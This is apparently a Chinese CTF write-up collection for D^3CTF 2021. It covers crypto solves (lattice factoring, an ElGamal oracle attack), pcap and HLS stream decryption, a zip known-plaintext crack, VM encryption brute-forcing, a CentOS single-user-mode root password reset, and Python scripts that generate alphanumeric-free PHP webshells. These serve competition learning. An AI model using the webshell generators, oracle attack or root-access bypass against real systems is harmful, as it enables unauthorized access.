\left(\begin{matrix}c_2\c_1\k\end{matrix}\right)^T \cdot
\left(\begin{matrix}1 &0 &-b^2\0 &1 &-b\0 &0 &n\end{matrix}\right) =
\left(c_2, c_1, c_0\right)

When we found the coefficients, we can factor the polynomial

F(x) = a{12}a{22}(x-a{11}/a{12})(x-a{21}/a{22})

over $\mathbb{Q}$. By the previous two formulas, we deduce that $b – a{11}/a{12}$ shares a common factor with public modulus $n$.

In addition, for the sake of completeness, the order of the factors does not affect the decryption: If we toke the wrong order of $p, q$, the rows of matrix $A$ were also swapped, and we’ll get the same message $m$.

M = Matrix(ZZ, [
    [1, 0, -b**2],
    [0, 1, -b],
    [0, 0, n]
])
B = M.LLL()
c2, c1, c0 = B[0]

PR = PolynomialRing(QQ, 'x')
x = PR.gen()
f = c2*x**2 + c1*x + c0
factors = f.factor()
print("f =", factors)
# f = (1173142580751247504024100371706709782500216511824162516724129) * (x - 1017199123798810531137951821909/1018979931854255696816714991181) * (x - 207806651167586080788016046729/1151291153120610849180830073509)

primes = []
A = []
for term, _ in factors:
    frac = -term(x=0)
    A.append([frac.numer(), frac.denom()])
    p = gcd(frac%n-b, n)
    assert 1 < p < n
    primes.append(p)
A = Matrix(ZZ, A)

a2 = crt([A[0, 1], A[1, 1]], primes)
s1 = a2 * c % primes[0]
s2 = a2 * c % primes[1]
m, r = A.solve_right(vector([s1, s2]))
flag = 'd3ctf{%s}' % sha256(int(m).to_bytes(50, 'big')).hexdigest()

AliceWantFlag

题目代码较长,核心主要是server有注册,登陆功能,以Alice账号登陆后发送加密信息拿flag。
nc上Alice后可以向他提供自己伪造的服务器地址,因此可以得到Alice发送的一些信息
大致有用信息为

  • 与Alice交互可以给他r并得到用服务器公钥加密的r \^ Alicepasswd
  • server在signin和signup里各有一次解密,其中signin仅判断值的正误有效信息较少,signup解密后根据长度给予不同回显更容易利用。
  • (非预期)Alice会对endkey进行解密并且与r \^ Alicepasswd的结果进行拼接得到AESkey,并不对AESkey进行长度补全

题目目标为得到Alicepasswd与endkey

预期解
elgamal有乘法同态特性,即

E(m)= y1, y2 \
D(y1, k*y2) = km

可以通过这个方式可以在不知道明文的情况下修改明文。比如乘以2能将明文左移一位,即有可能触发signup的长度判断。
但正常情况下也只能触发一次,得到最高位信息。因此这时我们需要利用r修改alice发送的明文。
将其最高位异或为0,就可以接着用长度来爆出下一个位,最多进行88次即可爆出密钥。
endkey很短,只有五位,这里可以使用中间相遇,在《Why Textbook ElGamal and RSA Encryption
Are Insecure》中有提到一个40位以下的数有18%的几率能够分解为两个20位以下数的乘积。
并且$pow(y2, q, p) = pow(m, q, p) = pow(a, q, p) \cdot pow(b, q, p)$,其中m = ab
则我们可以中间相遇来得到endkey。最后获得flag
其中,中间相遇过程可以少截取一部分来减少空间占用与时间花费,大约仅需要40s即可完成一次。

非预期解(最后绝大多数队都是这么干的)
由上面第三点,aeskey并没有进行填充,通过这里的报错能够知道长度,用与预期相同的方法解出passwd,接着,由于AESkey长度为16,若长度不满16则报错,endkey长度为5,可以用二分的方法找到一个k使得

k \cdot endkey < 2^{128} < (k+1) \cdot endkey



endkey = 2^{128} // k (或k-1)

题目源码,详细exp以及参考文献在https://github.com/shal10w/d3ctf2021_AliceWantFlag

EasyCurve

题中曲线为由pell方程构造的曲线
但参数没给全,只给了D,没给u。同时OT也不允许用户同时拿到x和y算出u(预期是这么想的,但后来发现没考虑全面,选手仍然能够同时拿到x与y)
研究曲线,加法规则是用斜率写的,经过一番计算可以将其换成关于点坐标的式子

A(x1,y1) + B(x2 , y2) = C(x3,y3)

则其坐标之间满足

x3 = (x1 \cdot x2 + D \cdot y1 \cdot y2) \cdot inverse(u , p)\mod p \
y3 = (x1 \cdot y2 + x2 \cdot y1) \cdot inverse(u , p) % p

可以推出当D与u为二次剩余时,曲线上的点与GF(p)有一个映射

(x , y) -> a(x – dy) (其中a^2 = u,d^2 = D)\
k(x , y) -> [a(x – dy)]^k

通过这个映射能够将曲线上的dlp问题转化为模p的dlp问题。
同时,题中实现的OT虽然不能同时得到x与y,但是可以通过构造

v = (x0 + pow(-d, e, n) \cdot x1) \cdot inverse(1 + pow(-d, e, n) , n) % n

来让

m0 – d * m1 = x – dy

因此我们可以得到:

若$A = eG$
则$(X_a – dY_a) = a^{e-1} \cdot (X_g – dY_g)^e$
里面还有未知数a,但题目给了三组数据,因此我们可以用两组数据相除来消去a。最后将题目转化为mod p的dlp问题,而将p-1分解可发现p-1很光滑,可以轻松计算出e
不过这题也出了非预期,由于x和y均过小,若OT取d 大于x和y,模d后可以得到x,减去x后除以可以得到y,得到u后,接着可以直接在曲线上计算dlp。(思路源自天枢与redbud的wp)
题目源码,详细exp以及参考文献在https://github.com/shal10w/d3ctf2021_EasyCurve

 

Misc

easyQuantum

cap.pcapng用Wireshark打开,清晰可见TCP的三次握手和四次挥手:

于是需要仔细分析中间的数据传输过程。
注意到某些数据包内有“numpy”等字符串:

于是想到可能是某种兼容Python的序列化方法。
又注意到有固定的头部数据:

而pickle序列化时也有固定的头部数据(协议版本4.0):

于是尝试利用pickle进行反序列化。示例如下:

import pyshark
import pickle

cap = pyshark.FileCapture('cap.pcapng')
test_pack = cap[3]
data = test_pack.data.data.binary_value

deserialized = pickle.loads(data)

print(deserialized)

得到结果312。随后发现之后的数据包的长度有规律:即436-(ACK)-90-(ACK)-90-(ACK)五个一组,或436-(ACK)-81-(ACK)两种组合。分别拿一组包进行反序列化测试:

Pack:327 Data:[array([0.70710678+0.j, 0.70710678+0.j]), array([ 0.70710678-8.65956056e-17j, -0.70710678+8.65956056e-17j]), array([0.+0.j, 1.+0.j]), array([1.+0.j, 0.+0.j])]
Pack:329 Data:
Pack:331 Data:[array([0.70710678+0.j, 0.70710678+0.j]), array([1.+0.j, 0.+0.j]), array([1.+0.j, 0.+0.j]), array([ 0.70710678-8.65956056e-17j, -0.70710678+8.65956056e-17j])]
Pack:333 Data:[0, 0, 1, 1]
Pack:335 Data:[0, 1, 0, 1]

又发现第1041个数据包处有疑似密文的数据:

题目中的“QKD”即量子密钥分发。常见的QKD协议有BB84、B92、E91等。结合前面的关于流程的分析(通过状态向量传递量子、两个数组先后传递Bob的测量基和Alice的判断结果)可以确定使用BB84协议进行的密钥分发。这就也能解释开头处传输的“312”:Alice和Bob需要提前约定好密钥长度。(严谨的BB84密钥交换协议中包括纠错、保密放大、认证等流程,此处略去)

同时注意到密文与密钥一样是312字节,考虑可能是流密码对每一位进行加密。

而如上述序号为329的数据包处的空数据,结合量子传输过程中不可直接窃听的特性,可以想到存在窃听者Eve,测量了量子后使Bob没有收到Alice传输的量子。

通过量子的状态向量和题目中给出的量子初始状态,已经可以判断出对量子进行操作的量子门及其顺序,因此就相当于获得了Alice传输的量子。这也是题目中“Debug info”的含意。

编写程序解密即可。

注:为降低难度,量子的初状态已经已题目描述的方式给出。参考资料的不同可能导致对状态向量的理解上产生偏差。为降低难度,此题使用量子数学的表示方式,即:

$\left| \phi \right> = \alpha \left| 0 \right> + \beta \left| 1 \right>$ 得到 $[\alpha, \beta]$

为方便处理,过滤掉所有不包含数据的包,并存为新的文件:

tcp.flags == 0x018

随后编写脚本解密即可。示例脚本如下:

import pyshark
import binascii
import qiskit
import pickle
from bitstring import BitArray


QUANLENG = 4


key = ""
cap = pyshark.FileCapture('cap.pcapng')


def decrypt_msg(enckey: BitArray, msg: BitArray):
    res = BitArray()
    for i in range(msg.len):
        tmp = enckey[i] ^ msg[i]
        res.append("0b" + str(int(tmp)))
    return res


def recv_quantum(quantum_state: list):
    # Load state
    quantum = [qiskit.QuantumCircuit(1, 1) for _ in range(4)]
    # Recover quantum
    for i in range(4):
        real_part_a = quantum_state[i][0].real
        real_part_b = quantum_state[i][1].real
        if real_part_a == 1.0 and real_part_b == 0.0:
            continue
        elif real_part_a == 0.0 and real_part_b == 1.0:
            quantum[i].x(0)
        elif real_part_a > 0.7 and real_part_b > 0.7:
            quantum[i].h(0)
        else:
            quantum[i].x(0)
            quantum[i].h(0)
    return quantum


def measure(receiver_bases: list, quantum: list):
    # Change quantum bit
    for i in range(4):
        if receiver_bases[i]:
            quantum[i].h(0)
            quantum[i].measure(0, 0)
        else:
            quantum[i].measure(0, 0)
        quantum[i].barrier()
    # Execute
    backend = qiskit.Aer.get_backend("statevector_simulator")
    result = qiskit.execute(quantum, backend).result().get_counts()
    return result


def get_key(qubits: list, bases: list, compare_result: list):
    measure_result = measure(bases, qubits)
    for i in range(4):
        if compare_result[i]:
            tmp_res = list(measure_result[i].keys())
            global key
            key += str(tmp_res[0])


if __name__ == "__main__":
    key_len = pickle.loads(cap[0].data.data.binary_value)
    i = 1
    while i < 567:
        if int(cap[i+1].data.len) == 15:
            i += 2
            continue
        quantum_state = pickle.loads(cap[i].data.data.binary_value)
        quantum = recv_quantum(quantum_state)
        bob_bases = pickle.loads(cap[i+1].data.data.binary_value)
        alice_judge = pickle.loads(cap[i+2].data.data.binary_value)
        get_key(quantum, bob_bases, alice_judge)
        i += 3
    key = key[:key_len]
    msg = BitArray(pikle.loads(cap[567].data.data.binary_value))
    plaintext = decrypt_msg(BitArray("0b"+key), msg)
    print(plaintext.tobytes())

得到Flag:

d3ctf{y1DcuFuYwCgRfX33uT1lgSy27jYIsF4i}

当然,使用量子状态向量、Bob的测量基和测量结果的直接对应关系直接得出结果(即不需要模拟)也是可以的。这里不再赘述。

Robust

“Robust”意为“鲁棒性”。

打开cap.pcapng,发现都是QUIC协议的数据包。结合提供的firefox.log(即使用firefox浏览器访问时生成的SSL Key Log)可以想到基于QUIC协议且强制使用TLS 1.3的HTTP3。

导入SSL Key Log:

清晰可见HTTP3数据包。利用过滤器过滤出所有HTTP3数据包,然后从头查看:

http3

可以明显看出,642号包之前的部分是在载入网页和JavaScript(hls.js)脚本。在第642号包处可以发现一个m3u8 playlist:

注意到是加密的直播流,因此想到浏览器应该获取到了解密Key。继续向下分析数据包,在第648号数据包处找到解密Key:

复制出来,另存为enc.key。
随后就是找到切片并提取切片了。600余个数据包,肯定不能手动进行处理(除非你有耐心)。因此依旧借助pyshark进行处理。有两种办法:

  • 通过HTTP3数据包的类型和长度,判断每个切片的起始位置,再利用数据包内原始的m3u8 playlist和key做解密,随后合并。
  • 依据MPEG-TS容器格式特性和AES-128-CBC加密方式特性,可以先合并,再解密。

下面以方法二为例解题。
编写脚本将所有的HTTP3 frame payload提取出来,并依次序写入同一个文件中:

import pyshark
import os

cap = pyshark.FileCapture("cap.pcapng", override_prefs={"ssl.keylog_file": os.path.abspath("firefox.log")})
fd = open("output.ts", "wb")


for i in range(678, 18706):
    try:
        if int(cap[i].http3.frame_type) == 0:
            fd.write(cap[i].http3.frame_payload.binary_value)
    except Exception:
        continue

fd.close()
#EXTM3U
#EXT-X-VERSION:3
#EXT-X-MEDIA-SEQUENCE:0
#EXT-X-PLAYLIST-TYPE:VOD
#EXT-X-KEY:METHOD=AES-128,URI="enc.key",IV=0x00000000000000000000000000000000
#EXTINF:10000
output.ts
#EXT-X-ENDLIST

EXTINF可以随意给大,解密密钥的URI改为相对路径。随后使用FFMPEG进行解密即可。

ffmpeg -allowed_extensions ALL -i index.m3u8 -c copy outdec.ts

你也可以使用OpenSSL等其他工具。需要知道的是,HLS切片加密时遇到过长的Key会截取前128位作为加密密钥。

xxd -P enc.key

得到如下输出:

343632386565613630313966323236316132623437346336336637653536
663531383439653831663166353931326538363835663861303461666430
323133640d0a

取前128位进行解密即可:

openssl aes-128-cbc -d -in .\output.ts -out .\out.ts -iv 00000000000000000000000000000000 -K 34363238656561363031396632323631 -nosalt

解密出的ts切片就可以直接播放了。利用Adobe Audition查看频谱:

很明显这里包含了信息,需要解码。将数据通过转换变为声信号的过程很容易想到拨号上网时需要用到的的“调制解调器”。于是尝试搜索解码工具:

注:为降低题目难度,下图网页链接已作为Hint给出。

发现quiet工具 (https://github.com/quiet/quiet) 具有将数据转换为高频声信号(所谓的“ultrasonic”)的功能。

随后,clone两个repo:quiet/libfec和quiet/quiet,编译即可。编译过程略。

在默认配置文件quiet-profiles.json中,有多个以ultrasonic开头的配置。这时回到Audition,仔细观察频谱频率:

频谱很明显以19KHz为中心,这与ultrasonic配置文件的配置相吻合:

因此可以确定使用了该配置文件。

随后进行解码。可以直接使用quiet的API,当然也可使用quiet的示例程序。阅读示例程序代码decode_file.c:

需要将待解码的文件转化为wav格式,且重命名为encoded.wav。联想到题目的“Robust”,意即“鲁棒性”,因此大胆直接转码。但是为了不丢失数据,保险起见,保持原采样率和最高量化位数:

随后解码:

./quiet_decode_file ultrasonic out.txt

得到Base64,解码发现PK头,保存为Zip,打开,发现有密码:

根据文件名称,联想到网易云音乐的歌词。至于是哪首歌的歌词,联想到网易云音乐有歌曲的“Song ID”。因此首先找到歌曲:
https://music.163.com/song?id=1818031620
随后提取歌词。
利用网易云音乐客户端离线缓存。在网易云中下载该歌曲,随后找到离线缓存歌词的文件夹(以Windows系统为例):C:\Users\ObjectNotFound\AppData\Local\Netease\CloudMusic\webdata\lyric

将该文件复制出来改名为lyric-1818031620.json即可。

注:
另一种方法:利用网页API。F12仔细分析即可找到歌词获取接口。例子如下:

http://music.163.com/api/song/lyric/?id=1818031620&lv=1&kv=1&tv=1

将网页内容保存为lyric-1818031620.json文件即可。

然后就可以进行明文攻击了。可以使用Advanced Archive Password Recovery,也可以使用pkcrack。注意Zip的压缩算法设置。

得到txt文档的内容:

换用其他软件查看,发现存在空白字符隐写:

利用工具解密即可。注意选择正确的解码设置。可以使用十六进制编辑器的查找功能确定使用的编码字符。

https://330k.github.io/misc_tools/unicode_steganography.html

得到解码结果:

<~A2@_;ApZ7(GA0]MC.i&:F%'t#:JXSd=tj-$>'EtK0m.1t0i38~>

由定界符<~ ~>易知其为Base85编码。解码可得Flag:

d3ctf{1IwiKUjKcUsEn0OOJZZ0ZsZwUX1uiC1P}

Virtual Love_Revenge(2.0) wp

前言:

由于本鶸出题设计的太不严谨,考虑不够周全,导致比赛中多次出现非预期,因此不得不在比赛过程中对附件进行多次修改,再加上题目附件过大(根本压缩不动),多次下载浪费了做题师傅许多的时间和空间,带来了不便和不好的做题体验,我对此表示诚挚的歉意,还请各位师傅多多包涵谅解!

考点

  • vmware虚拟机各文件结构与用途
  • vmx加密破解
  • 简单的常规隐写
  • 虚拟机相关文件修复
  • centos登录密码绕过

题目描述

I’m coming for revenge again.

You say you love me, but you don’t know me at all! Your love…Your love is all virtual!(Login User: guest)

详解

虚拟机修复

解压题目文件,可以发现一个装有flag的加密压缩包和一个完整的用于vmware的虚拟机,双击vmx文件,打开发现虚拟机被加密,所以首先要破解加密

在github上可以找到一个项目:https://github.com/axcheron/pyvmx-cracker

使用这个脚本可以进行爆破,但是用其自带的字典爆破无法得到密钥,所以接下来我们要寻找字典

观察文件夹中的文件,我们需要先了解一下这些文件的用途,可参考文章

  • .vmx.lck:磁盘锁文件,用于防止多台虚拟机同时访问一个.vmdk虚拟磁盘文件带来的数据丢失和性能下降
  • .iso:虚拟机的镜像文件
  • .nvram:存储虚拟机BIOS状态的文件
  • .vmdk:虚拟磁盘文件,相当于电脑里的硬盘,存储了虚拟机内的系统和所有文件
  • .vmsd:存储虚拟机的快照信息和元数据
  • .vmx:虚拟机的配置文件,可以通过打开此文件来启动系统,存储了启动虚拟机所需要的配置信息
  • .vmxf:虚拟机的补充配置文件
  • .log:存储虚拟机活动日志的文件,可用来排查故障

我们依次观察这些文件,可以发现在 .vmxf 文件中有这样一句话

You hurt my heart deeply! So I will revenge, I will destroy everything you have!

正常的vmxf文件是不会有这样一句话的,很明显是出题人故意修改过的,用来暗示文件被破坏,需要进行修复

附件中有三个log文件,单纯查看并不能发现什么,但是如果用十六进制编辑器或者vim查看,就可以发现在最大的log文件中存在一些不可见字符

这些不可见字符仅由\xe2\x80\x8d\xe2\x80\x8c组成(<200d><200c>),想到转换成01序列

import libnum

f = open('vmware-1.log', 'rb')
ff = open('vmware-1.log', 'rb')
fi = open('dic.txt', 'w')
fj = open('log.txt', 'w')

fj.write(ff.read().replace('\xe2\x80\x8d', '').replace('\xe2\x80\x8c', ''))
fj.close()

while 1:
    a = f.readline().replace('\xe2\x80', '')
    out = ''
    if a:
        for i in a:
            if i == '\x8d':
                out += '0'
            elif i == '\x8c':
                out += '1'
            else:
                break
        fi.write(libnum.b2s(out) + '\n')
    else:
        break

fi.close()

提取隐写的信息,即可得到一份字典,顺便还原出没有经过隐写的log

其实这里也有一个快速确定log文件的方法:正常导出加密虚拟机时,导出的文件并不会含有log文件,而这里的log文件很明显就是出题人后加进去的

通过使用提取出来的字典,利用刚刚提到的脚本进行爆破,即可得到密钥:kx4s3a

用密钥移除加密后,打开虚拟机,发现提示客户文件未指定虚拟机操作系统

所以我们需要先找到虚拟机的操作系统,在镜像文件中一定会有记录,打开iso文件,大概翻一翻就可以看到CentOS,如果用010的话直接打开加载模板也能看到

修改操作系统为Linux CentOS 7 64 位,再次尝试打开虚拟机,发现提示Operating System not found,百度一下报错可以大概了解到是CD/DVD指定目录的问题,但是我们再观察一下这个虚拟机再vmware中显示的配置,和其他的虚拟机相对照,可以发现有很多设置都缺少了

有关虚拟机配置的信息,我们上文已经提到了在 .vmx 文件中,用文本编辑器打开vmx文件,可以看到如下的信息

.encoding = "GBK"
displayName = "VirtualLove"
config.version = "8"
virtualHW.version = "16"
usb.vbluetooth.startConnected = "XXX"
nvram = "VirtualLove.nvram"
virtualHW.productCompatibility = "hosted"
powerType.powerOff = "soft"
powerType.powerOn = "soft"
powerType.suspend = "soft"
powerType.reset = "soft"
tools.syncTime = "XXX"
numvcpus = "2"
cpuid.coresPerSocket = "2"
vcpu.hotadd = "XXX"
...

如果打开不是这样的话,先把虚拟机的加密移除,就可以看到了

有关vmx文件中的这些配置选项的含义,可以参考:

当然也可以参考自己其他虚拟机的vmx文件,无论是查看相关文章,还是自己对比其他的虚拟机,都可以发现配置选项中是没有XXX这一选项的,所以很明显vmx文件已经损坏,需要进行修复,修复方法可参考此文章,需要用到log文件,在log中寻找如下两行信息

2021-02-20T11:50:10.598+08:00| vmx| I125: DICT --- CONFIGURATION
......
2021-02-20T11:50:10.598+08:00| vmx| I125: DICT --- USER DEFAULTS

将这两行中间的信息复制到vmx文件中,移除前面多余的时间信息和结尾用于隐写的空白字符,保留如下格式,调整为左对齐

config.version = "8"
virtualHW.version = "16"
pciBridge0.present = "TRUE"
pciBridge4.present = "TRUE"

...(中间略)...

usb:0.present = "TRUE"
usb:0.deviceType = "hid"
usb:0.port = "0"
usb:0.parent = "-1"

修改后保存即可,再次尝试打开虚拟机,出现了新的报错:指定的文件不是虚拟磁盘

在vmx文件已经修复好的情况下,出现这种报错,那就是虚拟磁盘文件,即vmdk文件出现了问题,所以接下来需要修复vmdk,有关vmdk的结构详解可参考:

本题的虚拟机共有7个vmdk,一个很小的和六个分别编号1~6的较大的,其中较小的文件可以用文本编辑器打开,且内容可读,结构大体由三部分组成

# Disk DescriptorFile

# Extent description

# The Disk Data Base 
#DDB

参考文档,对比正确的vmdk,可以发现第一部分缺少了versionparentCID和磁盘文件的编号,文档中也有写

version的值默认为1,本题虚拟机并没有快照,所以parentCID=ffffffff,再按顺序补充编号s001~s006,修改后保存,再次打开发现仍然报错,继续检查其余的vmdk文件,编号1~6的vmdk文件有固定的文件头,大小为512字节,具体组成如下表:

Offset Size Value Description
0 4 “KDMV” Signature
4 4 1, 2 or 3 Version
8 4 Flags See section: Flags.asciidoc#vmdk_extent_file_flags)
12 8 Maximum data number of sectors (capacity)
20 8 Grain number of sectors The value must be a power of 2 and > 8
28 8 Descriptor sector number The sector number of the embedded descriptor file. The value is relative from the start of the file or 0 if not set.
36 8 Descriptor number of sectors The number of sectors of the embedded descriptor in the extent data file.
44 4 512 The number of grains table entries
48 8 Secondary (redundant) grain directory sector number The value is relative from the start of the file or 0 if not set.
56 8 Grain directory sector number The value is relative from the start of the file or 0 if not set. Note that the value can be -1 see below for more information.
64 8 Metadata (overhead) number of sectors
72 1 Is dirty Value to determine if the extent data file was cleanly closed.
73 1 ‘\n’ Single end of line character
74 1 ‘ ‘ Non end of line character
75 1 ‘\r’ First double end of line character
76 1 ‘\n’ Second double end of line character
77 2 Compression method
79 433 0 Padding

*The end of line characters are used to detect corruption due to file transfers that alter line end characters.

我们用十六进制编辑器打开vmdk,可以发现这些文件缺少了Signature和version(默认为1)共8字节的内容,补上4B 44 4D 56 01 00 00 00,继续查看,还可以发现第73~76位用于校验文件传输是否发生损坏的行结束符也没有,查ascii表或者对照正常的vmdk,都可以得到对应的16进制字符串0A 20 0D 0A,修改后保存,再次尝试即可正常打开虚拟机

密码绕过

用题目所给的guest用户登录,发现在当前目录就有一个假的flag,提示flag不在这里,查看history,发现其中提示

Try to enter root!

我们需要进入root文件夹,但guest用户没有权限进入,查看sudo的版本可以发现是最新版,所以也并不存在提权漏洞,需要换一种思路

CentOS存在单用户模式,我们可以利用单用户模式来修改root的密码:

首先重启虚拟机,在如下界面按<kbd>e</kbd>

找到linux16开头的那一段,将ro修改为rw init=/sysroot/bin/sh,按<kbd>ctrl</kbd>+<kbd>x</kbd>进入单用户模式

依次执行以下几条命令:

  • 切换到原系统的root环境:chroot /sysroot
  • 修改语言环境为英文,防止乱码:LANG=en
  • 修改root密码(注意小键盘锁):passwd root
  • 更新autorelabel文件:touch /.autorelabel
  • 重启系统:reboot -f

重启系统后即可用刚刚修改过的密码登录root,在root文件夹下得到压缩包密码

Revenge:f5`FU2)I$F0Oc'qL@pP)S

Revenge2.0:2F!,O<DJ+@<*K0@<6L(Df-

在当前目录下还可以看到一个 7@rget-f1le,取小写md5即是2.0的最后一部分flag

解压即可得到真正的flag

Revenge:d3ctf{Vmw@RE_1s_5oooo_C0mpl3x_ec4bb60e58}

Revenge2.0:d3ctf{Vmw@RE_1s_5ooo_C0mpl3x_8cf8463b34caa8ac871a52d5dd7ad1ef}

后记

我看也有许多队伍的师傅是采用替换vmx,修改vmdk配置文件的方式对虚拟机进行修复,这也是一种很好的方法,而且比我设计的预期解题方式要简单一些。其实我设计这道题的目的,就是想让大家更多了解虚拟机各个配置文件的用途,了解并学习虚拟机损坏时的修复方式和当root密码忘记如何获得root权限等知识点,私认为和实际生活的联系还是比较大的,也希望各位做题的师傅能通过本题学到新的知识 :)

scientific calculator

本题的解法涉及到目前 CPython 设计的安全漏洞。我们将在 Python 安全响应团队回应与修复之后,放出此题题解。

shellgen2

shellgen两道题起源于一个有趣的命题:无字母数字webshell怎么写能最短,有没有程序化的生成方式,如果有,该怎么写?
题目本身有点偏算法,但是由于判定松,无时间限制(五秒,很长很长了),成功拿到flag的队伍还蛮多的

境界1,一字一++

首先构造出a,对于每个字符都逐个递增,逐个拼接,是最原始暴力的解法:

target = input()
print('<?php')
# 关于phpshell[5:],我误以为php warning不会被捕获,给大家造成了一定的困扰,
# 在此表示一下抱歉。此处取phpshell[6:]
print('$__=[].[];$__=$__[0.9+0.9+0.9];', end='')
for c in target:
    print('$_=$__;', end='')
    print('$_++;' * (ord(c)-ord('a')-1), end='')
    print('$_1.=++$_;')

境界2,优化学徒

print('<?php')
print('$_=[].[];$_=$_[0.9+0.9+0.9];', end='')

def hash_char(c):
    # 组成由0与9组成的索引
    return f(c)

target = input()


print('%__=[];')
for c in range(ord('a'), ord(max(target))+1):
    print('$_++;', end='')
    if c in target:
        print(f'$__[{hash_char(c)}]=$_;', end='')
# 这里有一点点小细节

print(f'$_={hash_char(target[0])};')
for c in target[1:]:
    print(f'$_.={hash_char(c)};')
print('?><?=$_;')

上面这个小算法生成php代码的长度很大程度上取决于hash_char,是不是有种哈夫曼的味道?

境界3,一窥算法

取target中所有最长不下降子序列,如下:

acdbecfcdgef
a  b c cd ef
 cd e f  g

得到两条不下降的序列,然后根据原有序列依次从每个序列的头部开始输出。

这里还涉及到一个细节,就是变量名如何取。觉的好玩的话可以思考思考。

也有更好的算法,归根结底都是减少++的次数与新变量的个数。比如“标答”中(见GitHub)的变量名就可以继续缩短。

这道题在实际比赛中本来就是作为shellgen的“好玩版”放在那里的,所以即使出现了用简单办法通过的队伍也没有进一步加强(其实做出来的25个队伍中绝大多数都是用很暴力的办法过的,由于只check了一组数据,可能会随机到对暴力算法非常友好的数据,所以多交几次大概也就过了),反而放宽了一些限制(当然有个限制是因为我自己的问题,再次抱歉),大家也就,开心就好(

 

RealWorld

real_VMPWN

见:AntCTF x D^3CTF [Real_VMPWN] Writeup

EasyChromeFullchain

见:AntCTF x D^3CTF [EasyChromeFullChain] Writeup

(完)